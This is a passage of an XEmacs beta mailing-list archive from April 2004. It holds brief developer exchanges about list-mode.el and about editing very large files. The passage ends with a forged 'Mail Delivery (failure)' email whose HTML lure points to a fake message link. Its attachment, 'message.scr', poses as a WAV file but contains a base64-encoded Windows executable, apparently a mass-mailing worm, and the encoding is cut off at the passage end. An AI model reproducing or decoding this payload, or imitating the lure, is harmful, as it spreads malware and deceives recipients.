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 --=-=-= Is it possible that you changed it in the .el file byte compiled it, but didn't reload it after starting xemacs --vanilla ? I made that mistake in the beginning because i didn't know that list-mode.el is dumped in the xemacs executable. Best regards Sven --=-=-=-- From xemacs-beta-admin@xemacs.org Sat Apr 24 06:10:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OAA3s08281; Sat, 24 Apr 2004 06:10:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OA9w908195 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 06:09:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OA9vk08167 for turnbull@tux.org; Sat, 24 Apr 2004 06:09:57 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3OA9us08153 for ; Sat, 24 Apr 2004 06:09:56 -0400 Received: (qmail 19773 invoked from network); 24 Apr 2004 12:09:54 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 24 Apr 2004 12:09:54 +0200 Received: (qmail 14325 invoked from network); 24 Apr 2004 12:09:53 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 24 Apr 2004 12:09:53 +0200 To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> <87ekqelucj.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Sat, 24 Apr 2004 12:12:13 +0200 In-Reply-To: <87ekqelucj.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Fri, 23 Apr 2004 22:03:24 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > It's not something that needs to be done all at once like doing it > internally would. The initial implementation could just split the > file into (say) half-gig chunks, then load the first one into the > buffer, pop up a warning explaining why the buffer looks like the > file was truncated, That's just sloppy. Other editors do it much better. From 012820040618.9510.5f30@att.net Sat Apr 24 11:33:21 2004 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OFXKs21486 for ; Sat, 24 Apr 2004 11:33:20 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i3OG5r63001066 for ; Sat, 24 Apr 2004 18:05:55 +0200 Message-Id: <200404241605.i3OG5r63001066@syl.extundo.com> From: 012820040618.9510.5f30@att.net To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Sat, 24 Apr 2004 11:23:37 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-1439
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 